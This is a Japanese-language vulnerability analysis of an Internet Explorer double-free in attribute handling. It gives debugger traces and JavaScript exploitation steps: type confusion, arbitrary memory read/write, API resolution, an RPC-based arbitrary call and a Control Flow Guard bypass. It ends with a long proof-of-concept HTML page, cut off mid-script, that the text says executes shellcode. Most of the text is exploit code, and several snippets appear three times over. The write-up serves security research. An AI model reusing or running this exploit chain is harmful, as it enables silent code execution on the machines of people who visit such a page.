    755fae5d OLEAUT32!SysFreeStringImpl+0x0000007d
    755faeca OLEAUT32!SysReleaseString+0x0000001a
    755c6b3e OLEAUT32!SysFreeString+0x00000013
    6dbf32d6 IEShims!NS_ATLMitigation::APIHook_SysFreeString+0x00000026
    66b83950 MSHTML!CAttrArray::Free+0x00000117
    66f29271 MSHTML!CAttrArray::Clear+0x000000eb
    66f376ad MSHTML!CElement::clearAttributes+0x000000fd
    6724a6c2 MSHTML!CFastDOM::CHTMLElement::Trampoline_clearAttributes+0x00000032
    661e6eee jscript9!Js::JavascriptFunction::CallFunction<0>+0x00000069
0:010> k
 # ChildEBP RetAddr  
00 0bbbbb0c 6dbf32d6 OLEAUT32!SysFreeString
01 0bbbbb20 669f5adf IEShims!NS_ATLMitigation::APIHook_SysFreeString+0x26
02 0bbbbb30 6656601b MSHTML!CAttrValue::Free+0x5c
03 0bbbbb74 670178d1 MSHTML!CAttrArray::Destroy+0x7f
04 0bbbbb84 66f40b41 MSHTML!CBase::DeleteAt+0x2b
05 0bbbbbdc 66f4094b MSHTML!CElement::ie9_removeAttributeNodeInternal+0x1a1
06 0bbbbc24 67258afd MSHTML!CElement::ie9_removeAttributeNode+0xbb
07 0bbbbc70 661e6eee MSHTML!CFastDOM::CElement::Trampoline_removeAttributeNode+0x6d
08 0bbbbcac 662acaa3 jscript9!Js::JavascriptFunction::CallFunction<0>+0x69


デバッグログから、すでに割り当て解除されたヒープ領域をOLEAUT32!SysFreeString関数によってもう一度割り当て解除していることが確認できます。OLEAUT32!SysFreeString APIは、DOMオブジェクトにバインドされる文字列データの属性を解放するときに使用されますが、該当のAPIは内部的にAPP_DATA::FreeCachedMem関数を通じて解放対象のメモリを管理します。
このとき、0x8000サイズ以上のデータはAPP_DATAメモリマネージャーのキャッシュ機能を通さず、デフォルトのプロセスヒープメモリマネージャーを通じて要求後すぐに解放されるため、現在のIEブラウザに適用されているIsolated HeapDelayed freeなどのメモリ保護機能の影響を受けなくなります。


Arbitrary Memory R/W

var abf = new ArrayBuffer(0x20010)
var fake = new ArrayBuffer(0x100)

function alloc1() { // allocate 0x20010
    var view = new DataView(abf)
    var str = ''
    for (var index = 4; index < abf.byteLength - 2; index += 2)
        str += '%u' + pad0(view.getUint16(index, true).toString(16))
    var result = document.createAttribute('alloc1')
    result.nodeValue = unescape(str)
    return result
}

function alloc2() { // allocate 0x20010
    var dic1 = new ActiveXObject('Scripting.Dictionary')
    var dic2 = new ActiveXObject('Scripting.Dictionary')
    dic2.add(0, 1)
    dic1.add(0, dic2.items())
    dic1.add(1, fake)
    dic1.add(2, [{}])
    for (i = 3; i < 0x20010 / 0x10; ++i)
        dic1.add(i, 0x12341234)
    var reseult = document.createAttribute('alloc2')
    result.nodeValue = dic1.items()
    return result
}
var abf = new ArrayBuffer(0x20010)
var fake = new ArrayBuffer(0x100)

function alloc1() { // allocate 0x20010
    var view = new DataView(abf)
    var str = ''
    for (var index = 4; index < abf.byteLength - 2; index += 2)
        str += '%u' + pad0(view.getUint16(index, true).toString(16))
    var result = document.createAttribute('alloc1')
    result.nodeValue = unescape(str)
    return result
}

function alloc2() { // allocate 0x20010
    var dic1 = new ActiveXObject('Scripting.Dictionary')
    var dic2 = new ActiveXObject('Scripting.Dictionary')
    dic2.add(0, 1)
    dic1.add(0, dic2.items())
    dic1.add(1, fake)
    dic1.add(2, [{}])
    for (i = 3; i < 0x20010 / 0x10; ++i)
        dic1.add(i, 0x12341234)
    var reseult = document.createAttribute('alloc2')
    result.nodeValue = dic1.items()
    return result
}
var abf = new ArrayBuffer(0x20010)
var fake = new ArrayBuffer(0x100)

function alloc1() { // allocate 0x20010
    var view = new DataView(abf)
    var str = ''
    for (var index = 4; index < abf.byteLength - 2; index += 2)
        str += '%u' + pad0(view.getUint16(index, true).toString(16))
    var result = document.createAttribute('alloc1')
    result.nodeValue = unescape(str)
    return result
}

function alloc2() { // allocate 0x20010
    var dic1 = new ActiveXObject('Scripting.Dictionary')
    var dic2 = new ActiveXObject('Scripting.Dictionary')
    dic2.add(0, 1)
    dic1.add(0, dic2.items())
    dic1.add(1, fake)
    dic1.add(2, [{}])
    for (i = 3; i < 0x20010 / 0x10; ++i)
        dic1.add(i, 0x12341234)
    var reseult = document.createAttribute('alloc2')
    result.nodeValue = dic1.items()
    return result
}


ダブルフリーバグにより、alloc1alloc2関数は異なる種類のオブジェクトを使用しますが、同じメモリ仮想アドレス空間にデータを割り当てることになるため、Type Confusionの条件を得ることができます。

追加の攻撃コードを実行するために、攻撃者はバッファアドレス0x0、サイズ0x7FFFFFFFを持つFake ArrayBufferを作成した後、プロセスのユーザー空間全体のメモリを読み書きできるDataViewオブジェクトを作成します。

var dv = new DataView(fake_unlimit_arraybuffer)

function read(addr, size) {
    switch (size) {
        case 8:
            return dv.getUint8(addr)
        case 16:
            return dv.getUint16(addr, true)
        case 32:
            return dv.getUint32(addr, true)
    }
}

function write(addr, value, size) {
    switch (size) {
        case 8:
            return dv.setUint8(addr, value)
        case 16:
            return dv.setUint16(addr, value, true)
        case 32:
            return dv.setUint32(addr, value, true)
    }
}

write(0x41414141, 0x42424242, 32)
/*
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=42424242 ebx=00000001 ecx=00000000 edx=41414141 esi=41414141 edi=42424242
eip=663c5565 esp=0899b89c ebp=0899b89c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
jscript9!Js::DataView::SetValue<int,int *>+0x3a:
663c5565 890411          mov     dword ptr [ecx+edx],eax ds:0023:41414141=????????
*/
var dv = new DataView(fake_unlimit_arraybuffer)

function read(addr, size) {
    switch (size) {
        case 8:
            return dv.getUint8(addr)
        case 16:
            return dv.getUint16(addr, true)
        case 32:
            return dv.getUint32(addr, true)
    }
}

function write(addr, value, size) {
    switch (size) {
        case 8:
            return dv.setUint8(addr, value)
        case 16:
            return dv.setUint16(addr, value, true)
        case 32:
            return dv.setUint32(addr, value, true)
    }
}

write(0x41414141, 0x42424242, 32)
/*
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=42424242 ebx=00000001 ecx=00000000 edx=41414141 esi=41414141 edi=42424242
eip=663c5565 esp=0899b89c ebp=0899b89c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
jscript9!Js::DataView::SetValue<int,int *>+0x3a:
663c5565 890411          mov     dword ptr [ecx+edx],eax ds:0023:41414141=????????
*/
var dv = new DataView(fake_unlimit_arraybuffer)

function read(addr, size) {
    switch (size) {
        case 8:
            return dv.getUint8(addr)
        case 16:
            return dv.getUint16(addr, true)
        case 32:
            return dv.getUint32(addr, true)
    }
}

function write(addr, value, size) {
    switch (size) {
        case 8:
            return dv.setUint8(addr, value)
        case 16:
            return dv.setUint16(addr, value, true)
        case 32:
            return dv.setUint32(addr, value, true)
    }
}

write(0x41414141, 0x42424242, 32)
/*
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=42424242 ebx=00000001 ecx=00000000 edx=41414141 esi=41414141 edi=42424242
eip=663c5565 esp=0899b89c ebp=0899b89c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
jscript9!Js::DataView::SetValue<int,int *>+0x3a:
663c5565 890411          mov     dword ptr [ecx+edx],eax ds:0023:41414141=????????
*/


DataViewの作成後、read/writeユーティリティ関数を利用して任意のAPIを呼び出せるように追加の作業を進めます。

Arbitrary Function Call

function getDllBase(base, name) {
    var tmpValue = 0
    var index = 0
    var iat = base + read(base + read(base + 60, 32) + 128, 32)
    while (true) {
        var offset = read(iat + index * 20 + 12, 32)
        if (strcmp(base + offset, name)) break
        index++
    }
    var addr = read(iat + index * 20 + 16, 32)
    return getBase(read(base + addr, 32))
}

function getBase(addr) {
    var addr = addr & 0xffff0000
    while (true) {
        if (isMZ(addr) && findPEbase(addr)) break
        addr -= 0x10000
    }
    return addr
}

function isMZ(addr) {
    return read(addr, 16) == 0x5a4d
}
function findPEbase(addr) {
    var sizeOfHeaders = read(addr + 60, 32)
    if (sizeOfHeaders > 0x600) return null
    var addr = addr + sizeOfHeaders
    if (read(addr, 32) != 0x4550) return null
    return addr
}
function getProcAddr(addr, name) {
    var eat = addr + read(addr + read(addr + 0x3c, 32) + 0x78, 32)
    var non = read(eat + 0x18, 32)
    var aof = addr + read(eat + 0x1c, 32)
    var aon = addr + read(eat + 0x20, 32)
    var aono = addr + read(eat + 0x24, 32)
    for (var i = 0; i < non; ++i) {
        var offset = read(aon + i * 4, 32)
        if (strcmp(addr + offset, name)) break
    }
    var offset = read(aono + i * 2, 16)
    return addr + read(aof + offset * 4, 32)
}
function getDllBase(base, name) {
    var tmpValue = 0
    var index = 0
    var iat = base + read(base + read(base + 60, 32) + 128, 32)
    while (true) {
        var offset = read(iat + index * 20 + 12, 32)
        if (strcmp(base + offset, name)) break
        index++
    }
    var addr = read(iat + index * 20 + 16, 32)
    return getBase(read(base + addr, 32))
}

function getBase(addr) {
    var addr = addr & 0xffff0000
    while (true) {
        if (isMZ(addr) && findPEbase(addr)) break
        addr -= 0x10000
    }
    return addr
}

function isMZ(addr) {
    return read(addr, 16) == 0x5a4d
}
function findPEbase(addr) {
    var sizeOfHeaders = read(addr + 60, 32)
    if (sizeOfHeaders > 0x600) return null
    var addr = addr + sizeOfHeaders
    if (read(addr, 32) != 0x4550) return null
    return addr
}
function getProcAddr(addr, name) {
    var eat = addr + read(addr + read(addr + 0x3c, 32) + 0x78, 32)
    var non = read(eat + 0x18, 32)
    var aof = addr + read(eat + 0x1c, 32)
    var aon = addr + read(eat + 0x20, 32)
    var aono = addr + read(eat + 0x24, 32)
    for (var i = 0; i < non; ++i) {
        var offset = read(aon + i * 4, 32)
        if (strcmp(addr + offset, name)) break
    }
    var offset = read(aono + i * 2, 16)
    return addr + read(aof + offset * 4, 32)
}
function getDllBase(base, name) {
    var tmpValue = 0
    var index = 0
    var iat = base + read(base + read(base + 60, 32) + 128, 32)
    while (true) {
        var offset = read(iat + index * 20 + 12, 32)
        if (strcmp(base + offset, name)) break
        index++
    }
    var addr = read(iat + index * 20 + 16, 32)
    return getBase(read(base + addr, 32))
}

function getBase(addr) {
    var addr = addr & 0xffff0000
    while (true) {
        if (isMZ(addr) && findPEbase(addr)) break
        addr -= 0x10000
    }
    return addr
}

function isMZ(addr) {
    return read(addr, 16) == 0x5a4d
}
function findPEbase(addr) {
    var sizeOfHeaders = read(addr + 60, 32)
    if (sizeOfHeaders > 0x600) return null
    var addr = addr + sizeOfHeaders
    if (read(addr, 32) != 0x4550) return null
    return addr
}
function getProcAddr(addr, name) {
    var eat = addr + read(addr + read(addr + 0x3c, 32) + 0x78, 32)
    var non = read(eat + 0x18, 32)
    var aof = addr + read(eat + 0x1c, 32)
    var aon = addr + read(eat + 0x20, 32)
    var aono = addr + read(eat + 0x24, 32)
    for (var i = 0; i < non; ++i) {
        var offset = read(aon + i * 4, 32)
        if (strcmp(addr + offset, name)) break
    }
    var offset = read(aono + i * 2, 16)
    return addr + read(aof + offset * 4, 32)
}


プロセスプロセス全体のメモリにアクセス可能な状況下で、攻撃者は上記のようにユーティリティ関数を実装してプロセス内部の状況を分析し、任意で必要なAPIを呼び出せるように準備します。

今回の攻撃コードの場合、Control Flow Guardが適用されている場合は、該当の保護手法をバイパスし、攻撃者は任意のAPI呼び出しのためにWindowsオペレーティングシステムが提供するRPCメカニズムを悪用します。

上記のようにメモリを構成することで、攻撃者はrpcrt4!NdrServerCall2(...)関数を皮切りに、rpcrt4!Invoke(...)関数を通じて、任意のAPIに自由に引数を渡して呼び出すことができました。

CFastDOM::ValidateCallControl Flow Guardなどの保護手法を無効化し、シェルコードを実行するPoC攻撃コードは次の通りです。

<!doctype html>
<html lang="en">
<head>
<meta http-equiv="Cache-Control" content="no-cache">
</head>
<body>
<script language="javascript">
String.prototype.repeat = function (size) { return new Array(size + 1).join(this) }

function pad0(str) {
    return ('0000' + str).slice(-4)
}
function alloc1() {
    var view = new DataView(abf)
    var str = ''
    for (var i = 4; i < abf.byteLength - 2; i += 2)
        str += '%u' + pad0(view.getUint16(i, true).toString(16))
    var result = document.createAttribute('alloc')
    result.nodeValue = unescape(str)
    return result
}
function alloc2() {
    var dic1 = new ActiveXObject('Scripting.Dictionary')
    var dic2 = new ActiveXObject('Scripting.Dictionary')
    dic2.add(0, 1)
    dic1.add(0, dic2.items())
    dic1.add(1, fake)
    dic1.add(2, arr)
    for (i = 3; i < 0x20010 / 0x10; ++i)
        dic1.add(i, 0x12341234)
    return dic1.items()
}
function dump(nv) {
    var ab = new ArrayBuffer(0x20010)
    var view = new DataView(ab)
    for (var i = 0; i < nv.length; ++i)
        view.setUint16(i * 2 + 4, nv.charCodeAt(i), true)
    return ab
}
function Data(type, value) {
    this.type = type
    this.value = value
}
function setData(i, data) {
    var arr = new Uint32Array(abf)
    arr[i * 4] = data.type
    arr[i * 4 + 2] = data.value
}
function flush() {
    hd1.nodeValue = (new alloc1()).nodeValue
    hd2.nodeValue = 0
    hd2 = hd1.cloneNode()
}
function read(addr, size) {
    switch (size) {
        case 8:
            return god.getUint8(addr)
        case 16:
            return god.getUint16(addr, true)
        case 32:
            return god.getUint32(addr, true)
    }
}
function write(addr, value, size) {
    switch (size) {
        case 8:
            return god.setUint8(addr, value)
        case 16:
            return god.setUint16(addr, value, true)
        case 32:
            return god.setUint32(addr, value, true)
    }
}
function writeData(addr, data) {
    for (var i = 0; i < data.length; ++i)
        write(addr + i, data[i], 8)
}
function addrOf(obj) {
    arr[0] = obj
    return read(pArr, 32)
}
function strcmp(str1, str2) {
    str1 = (typeof str1 == 'string') ? str1 : toStr(str1)
    str2 = (typeof str2 == 'string') ? str2 : toStr(str2)
    return str1.toLowerCase() == str2.toLowerCase()
}
function memcpy(dst, src, size) {
    for (var i = 0; i < size; ++i)
        write(dst + i, read(src + i, 8), 8)
}
function toStr(addr) {
    var str = ''
    while (true) {
        var c = read(addr, 8)
        if (c == 0) break
        str += String.fromCharCode(c)
        addr++
    }
    return str
}
function newStr(str) {
    var buffer = createArrayBuffer(str.length + 1)
    for (var i = 0; i < str.length; ++i) write(buffer + i, str.charCodeAt(i), 8)
    write(buffer + i, 0, 8)
    return buffer
}
function getDllBase(base, name) {
    var tmpValue = 0
    var index = 0
    var iat = base + read(base + read(base + 60, 32) + 128, 32)
    while (true) {
        var offset = read(iat + index * 20 + 12, 32)
        if (strcmp(base + offset, name)) break
        index++
    }
    var addr = read(iat + index * 20 + 16, 32)
    return getBase(read(base + addr, 32))
}
function getBase(addr) {
    var addr = addr & 0xffff0000
    while (true) {
        if (isMZ(addr) && isPE(addr)) break
        addr -= 0x10000
    }
    return addr
}
function isMZ(addr) {
    return read(addr, 16) == 0x5a4d
}
function isPE(addr) {
    var sizeOfHeaders = read(addr + 60, 32)
    if (sizeOfHeaders > 0x600) return null
    var addr = addr + sizeOfHeaders
    if (read(addr, 32) != 0x4550) return null
    return addr
}
function winVer() {
    var appVersion = window.navigator.appVersion
    var ver = 0
    if (/(Windows 10.0|Windows NT 10.0)/.test(appVersion)) {
        ver = 100
    } else if (/(Windows 8.1|Windows NT 6.3)/.test(appVersion)) {
        ver = 81
    } else if (/(Windows 8|Windows NT 6.2)/.test(appVersion)) {
        ver = 80
    } else {
        ver = 70
    }
    return ver
}
function createArrayBuffer(size) {
    var ab = new ArrayBuffer(size)
    var bs = read(addrOf(ab) + 0x1c, 32)
    map.set(bs, ab)
    return bs
}
function getProcAddr(addr, name) {
    var eat = addr + read(addr + read(addr + 0x3c, 32) + 0x78, 32)
    var non = read(eat + 0x18, 32)
    var aof = addr + read(eat + 0x1c, 32)
    var aon = addr + read(eat + 0x20, 32)
    var aono = addr + read(eat + 0x24, 32)
    for (var i = 0; i < non; ++i) {
        var offset = read(aon + i * 4, 32)
        if (strcmp(addr + offset, name)) break
    }
    var offset = read(aono + i * 2, 16)
    return addr + read(aof + offset * 4, 32)
}
function readyRpcCall(func) {
    var PRPC_CLIENT_INTERFACE_Buffer = _RPC_MESSAGE.get(msg, 'RpcInterfaceInformation')
    var _MIDL_SERVER_INFO_Buffer = PRPC_CLIENT_INTERFACE.get(PRPC_CLIENT_INTERFACE_Buffer, 'InterpreterInfo')
    var RPC_DISPATCH_TABLE_Buffer = _MIDL_SERVER_INFO_.get(_MIDL_SERVER_INFO_Buffer, 'DispatchTable')
    write(RPC_DISPATCH_TABLE_Buffer, func, 32)
}
function setArgs(args) {
    var buffer = createArrayBuffer(48)
    for (var i = 0; i < args.length; ++i) {
        write(buffer + i * 4, args[i], 32)
    }
    _RPC_MESSAGE.set(msg, 'Buffer', buffer)
    _RPC_MESSAGE.set(msg, 'BufferLength', 48)
    _RPC_MESSAGE.set(msg, 'RpcFlags', 0x1000)
    return buffer
}
function callRpcFreeBufferImpl() {
    var buffer = _RPC_MESSAGE.get(msg, 'Buffer')
    _RPC_MESSAGE.set(rpcFree, 'Buffer', buffer)
    return call(rpcFree)
}
function callRpcFreeBuffer() {
    var buffer = _RPC_MESSAGE.get(msg, 'Buffer')
    var result = read(buffer, 32)
    callRpcFreeBufferImpl()
    return result
}
function call2(func, args) {
    readyRpcCall(func)
    var buffer = setArgs(args)
    call(msg)
    map.delete(buffer)
    return callRpcFreeBuffer()
}
function call(addr) {
    var result = 0
    write(paoi + 0x18, addr, 32)
    try {
        xyz.normalize()
    } catch (error) {
        result = error.number
    }
    write(paoi + 0x18, patt, 32)
    return result
}
function prepareCall(addr, func) {
    var buf = createArrayBuffer(cattr.size())
    var vft = read(patt, 32)
    memcpy(addr, patt, cbase.size())
    memcpy(buf, vft, cattr.size())
    cbase.set(addr, 'pvftable', buf)
    cattr.set(buf, 'normalize', func)
}
function createBase() {
    var isWin7 = winVer() == 70
    var size = isWin7 ? 560 : 572
    var offset = isWin7 ? 540 : 548
    var addr1 = createArrayBuffer(size + cbase.size())
    var addr2 = createArrayBuffer(48)
    write(addr1 + offset, addr2, 32)
    write(addr2 + 40, 8, 32)
    write(addr2 + 36, 8, 32)
    return {
        size: size,
        addr: addr1
    }
}
function aos() {
    var baseObj = createBase()
    var addr = baseObj.addr + baseObj.size
    var I_RpcTransServerNewConnection = getProcAddr(rpcrt4, 'I_RpcTransServerNewConnection')
    prepareCall(addr, I_RpcTransServerNewConnection)
    return read(read(call(addr)-0xf8, 32), 32)
}
function SymTab(size, sym) {
    this.size = function() {
        return size
    }
    this.set = function(addr, name, value) {
        var o = sym[name]
        write(addr + o.offset, value, o.size)
    }
    this.get = function(addr, name) {
        var o = sym[name]
        return read(addr + o.offset, o.size)
    }
}
function initRpc() {
    var data = [50,72,0,0,0,0,0,0,52,0,192,0,16,0,68,13,10,1,0,0,0,0,0,0,0,0,72,0,0,0,9,0,72,0,4,0,9,0,72,0,8,0,9,0,72,0,12,0,9,0,72,0,16,0,9,0,72,0,20,0,9,0,72,0,24,0,9,0,72,0,28,0,9,0,72,0,32,0,9,0,72,0,36,0,9,0,72,0,40,0,9,0,72,0,44,0,9,0,112,0,48,0,9,0,0]
    var NdrServerCall2 = getProcAddr(rpcrt4, 'NdrServerCall2')
    var NdrOleAllocate = getProcAddr(rpcrt4, 'NdrOleAllocate')
    var NdrOleFree = getProcAddr(rpcrt4, 'NdrOleFree')
    var RPCMessageObject = createArrayBuffer(cbase.size())
    var buffer = createArrayBuffer(0x100)
    var buffer2 = createArrayBuffer(0x200)
    var AttributeVtable = read(patt, 32)
    var MSHTMLSymbolBuffer = createArrayBuffer(0x1000)
    var TransferSyntaxBuffer = createArrayBuffer(syntaxObject.size())
    var PRPC_CLIENT_INTERFACE_Buffer = createArrayBuffer(PRPC_CLIENT_INTERFACE.size())
    var _MIDL_SERVER_INFO_Buffer = createArrayBuffer(_MIDL_SERVER_INFO_.size())
    var rpcProcStringBuffer = createArrayBuffer(data.length)
    writeData(rpcProcStringBuffer, data)
    var _MIDL_STUB_DESC_Buffer = createArrayBuffer(_MIDL_STUB_DESC.size())
    var RPC_DISPATCH_TABLE_Buffer = createArrayBuffer(RPC_DISPATCH_TABLE.size())
    var NdrServerCall2Buffer = createArrayBuffer(4)
    write(NdrServerCall2Buffer, NdrServerCall2, 32)
    write(MSHTMLSymbolBuffer, osf_vft, 32)
    write(MSHTMLSymbolBuffer + 4, 0x89abcdef, 32)
    write(MSHTMLSymbolBuffer + 8, 0x40, 32)
    cattr.set(MSHTMLSymbolBuffer, '__vtguard', cattr.get(AttributeVtable, '__vtguard'))
    cattr.set(MSHTMLSymbolBuffer, 'SecurityContext', cattr.get(AttributeVtable, 'SecurityContext'))
    cattr.set(MSHTMLSymbolBuffer, 'JSBind_InstanceOf', cattr.get(AttributeVtable, 'JSBind_InstanceOf'))
    cattr.set(MSHTMLSymbolBuffer, 'JSBind_TypeId', cattr.get(AttributeVtable, 'JSBind_TypeId'))
    cattr.set(MSHTMLSymbolBuffer, 'normalize', NdrServerCall2)
    cbase.set(RPCMessageObject, 'pSecurityContext', RPCMessageObject + 68)
    write(RPCMessageObject + 76, 1, 32)
    syntaxObject.set(TransferSyntaxBuffer, 'SyntaxVersion.MajorVersion', 2)
    _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'RpcInterfaceInformation', PRPC_CLIENT_INTERFACE_Buffer)
    _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'pfnAllocate', NdrOleAllocate)
    _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'pfnFree', NdrOleFree)
    _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'pFormatTypes', buffer2)
    _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'fCheckBounds', 1)
    _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'Version', 0x50002)
    _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'MIDLVersion', 0x800025b)
    _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'mFlags', 1)
    _MIDL_SERVER_INFO_.set(_MIDL_SERVER_INFO_Buffer, 'pStubDesc', _MIDL_STUB_DESC_Buffer)
    _MIDL_SERVER_INFO_.set(_MIDL_SERVER_INFO_Buffer, 'DispatchTable', createArrayBuffer(32))
    _MIDL_SERVER_INFO_.set(_MIDL_SERVER_INFO_Buffer, 'ProcString', rpcProcStringBuffer)
    _MIDL_SERVER_INFO_.set(_MIDL_SERVER_INFO_Buffer, 'FmtStringOffset', buffer2)
    RPC_DISPATCH_TABLE.set(RPC_DISPATCH_TABLE_Buffer, 'DispatchTableCount', 1)
    RPC_DISPATCH_TABLE.set(RPC_DISPATCH_TABLE_Buffer, 'DispatchTable', NdrServerCall2Buffer)
    PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'DispatchTable', RPC_DISPATCH_TABLE_Buffer)
    PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'InterpreterInfo', _MIDL_SERVER_INFO_Buffer)
    PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'Length', PRPC_CLIENT_INTERFACE.size())
    PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'InterfaceId.SyntaxVersion.MajorVersion', 1)
    PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'TransferSyntax.SyntaxVersion.MajorVersion', 2)
    PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'Flags', 0x4000000)
    _RPC_MESSAGE.set(RPCMessageObject, 'RpcInterfaceInformation', PRPC_CLIENT_INTERFACE_Buffer)
    _RPC_MESSAGE.set(RPCMessageObject, 'TransferSyntax', TransferSyntaxBuffer)
    _RPC_MESSAGE.set(RPCMessageObject, 'Handle', MSHTMLSymbolBuffer)
    _RPC_MESSAGE.set(RPCMessageObject, 'DataRepresentation', 16)
    _RPC_MESSAGE.set(RPCMessageObject, 'RpcFlags', 0x1000)
    _RPC_MESSAGE.set(RPCMessageObject, 'Buffer', buffer)
    _RPC_MESSAGE.set(RPCMessageObject, 'BufferLength', 48)
    return RPCMessageObject
}
function rpcFree() {
    var Cbase = createArrayBuffer(cbase.size())
    var I_RpcFreeBuffer = getProcAddr(rpcrt4, 'I_RpcFreeBuffer')
    var MSHTMLSymbolBuffer = createArrayBuffer(0x1000)
    var AttributeVtable = read(patt, 32)
    write(MSHTMLSymbolBuffer, osf_vft, 32)
    write(MSHTMLSymbolBuffer + 4, 0x89abcdef, 32)
    write(MSHTMLSymbolBuffer + 8, 64, 32)
    cattr.set(MSHTMLSymbolBuffer, '__vtguard', cattr.get(AttributeVtable, '__vtguard'))
    cattr.set(MSHTMLSymbolBuffer, 'SecurityContext', cattr.get(AttributeVtable, 'SecurityContext'))
    cattr.set(MSHTMLSymbolBuffer, 'JSBind_InstanceOf', cattr.get(AttributeVtable, 'JSBind_InstanceOf'))
    cattr.set(MSHTMLSymbolBuffer, 'JSBind_TypeId', cattr.get(AttributeVtable, 'JSBind_TypeId'))
    cattr.set(MSHTMLSymbolBuffer, 'normalize', I_RpcFreeBuffer)
    cbase.set(Cbase, 'pvftable', MSHTMLSymbolBuffer)
    cbase.set(Cbase, 'pSecurityContext', Cbase + 68)
    write(Cbase + 76, 1, 32)
    return Cbase
}
function CFGObject(baseAddress) {
    var PEAddr = isPE(baseAddress)
    var eat = PEAddr + 120
    var LOAD_CONFIG_DIRECTORY = baseAddress + read(eat + 0x50, 32)
    var size = read(LOAD_CONFIG_DIRECTORY, 32)
    var sizeOfImage = read(PEAddr + 0x50, 32)
    var CFGSymbolTable = new SymTab(0x5c, {
        '___guard_check_icall_fptr': {
            offset: 72,
            size: 32
        }
    })
    
    var guard_check_icall_fptr_address = size < CFGSymbolTable.size() ? 0 : CFGSymbolTable.get(LOAD_CONFIG_DIRECTORY, '___guard_check_icall_fptr')
    this.getCFGAddress = function() {
        return guard_check_icall_fptr_address
    }
    this.getCFGValue = function() {
        if (size < CFGSymbolTable.size()) return false
        var currentCFGValue = read(guard_check_icall_fptr_address, 32)
        var isValidAddress = (baseAddress < currentCFGValue) && (currentCFGValue < baseAddress + sizeOfImage)
        return !isValidAddress;
    }
}
function killCfg(addr) {
    var cfgobj = new CFGObject(addr)
    if (!cfgobj.getCFGValue()) return
    var guard_check_icall_fptr_address = cfgobj.getCFGAddress()
    var KiFastSystemCallRet = getProcAddr(ntdll, 'KiFastSystemCallRet')
    var tmpBuffer = createArrayBuffer(4)
    call2(VirtualProtect, [guard_check_icall_fptr_address, 0x1000, 0x40, tmpBuffer])
    write(guard_check_icall_fptr_address, KiFastSystemCallRet, 32)
    call2(VirtualProtect, [guard_check_icall_fptr_address, 0x1000, read(tmpBuffer, 32), tmpBuffer])
    map.delete(tmpBuffer)
}
var cbase = new SymTab(0x60, {
    'pvftable': {
        offset: 0x0,
        size: 32
    },
    'pSecurityContext': {
        offset: 0x44,
        size: 32
    }
})
var cattr = new SymTab(0x32c, {
    '__vtguard': {
        offset: 0x48,
        size: 32
    },
    'SecurityContext': {
        offset: 0xc8,
        size: 32
    },
    'JSBind_TypeId': {
        offset: 0x160,
        size: 32
    },
    'JSBind_InstanceOf': {
        offset: 0x164,
        size: 32
    },
    'normalize': {
        offset: 0x28c,
        size: 32
    }
})
var syntaxObject = new SymTab(0x14, {
    'SyntaxVersion.MajorVersion': {
        offset: 0x10,
        size: 16
    }
})
var PRPC_CLIENT_INTERFACE = new SymTab(0x44, {
    'Length': {
        offset: 0,
        size: 32
    },
    'InterfaceId.SyntaxVersion.MajorVersion': {
        offset: 20,
        size: 16
    },
    'TransferSyntax.SyntaxVersion.MajorVersion': {
        offset: 40,
        size: 16
    },
    'DispatchTable': {
        offset: 44,
        size: 32
    },
    'InterpreterInfo': {
        offset: 60,
        size: 32
    },
    'Flags': {
        offset: 64,
        size: 32
    }
})
var _MIDL_SERVER_INFO_ = new SymTab(0x20, {
    'pStubDesc': {
        offset: 0,
        size: 32
    },
    'DispatchTable': {
        offset: 4,
        size: 32
    },
    'ProcString': {
        offset: 8,
        size: 32
    },
    'FmtStringOffset': {
        offset: 12,
        size: 32
    }
})
var _MIDL_STUB_DESC = new SymTab(0x50, {
    'RpcInterfaceInformation': {
        offset: 0,
        size: 32
    },
    'pfnAllocate': {
        offset: 4,
        size: 32
    },
    'pfnFree': {
        offset: 8,
        size: 32
    },
    'pFormatTypes': {
        offset: 32,
        size: 32
    },
    'fCheckBounds': {
        offset: 36,
        size: 32
    },
    'Version': {
        offset: 40,
        size: 32
    },
    'MIDLVersion': {
        offset: 48,
        size: 32
    },
    'mFlags': {
        offset: 64,
        size: 32
    }
})
var RPC_DISPATCH_TABLE = new SymTab(12, {
    'DispatchTableCount': {
        offset: 0,
        size: 32
    },
    'DispatchTable': {
        offset: 4,
        size: 32
    },
})
var _RPC_MESSAGE = new SymTab(0x2c, {
    'Handle': {
        offset: 0,
        size: 32
    },
    'DataRepresentation': {
        offset: 4,
        size: 32
    },
    'Buffer': {
        offset: 8,
        size: 32
    },
    'BufferLength': {
        offset: 12,
        size: 32
    },
    'TransferSyntax': {
        offset: 20,
        size: 32
    },
    'RpcInterfaceInformation': {
        offset: 24,
        size: 32
    },
    'RpcFlags': {
        offset: 40,
        size: 32
    }
})
var god
var arr = [{}]
var fake = new ArrayBuffer(0x100)
var abf = new ArrayBuffer(0x20010)
var alloc = alloc2()
var hd0 = document.createAttribute('handle')
var hd1 = document.createAttribute('handle')
var hd2
var ele = document.createElement('element')
var att = document.createAttribute('attribute')
att.nodeValue = {
    valueOf: function() {
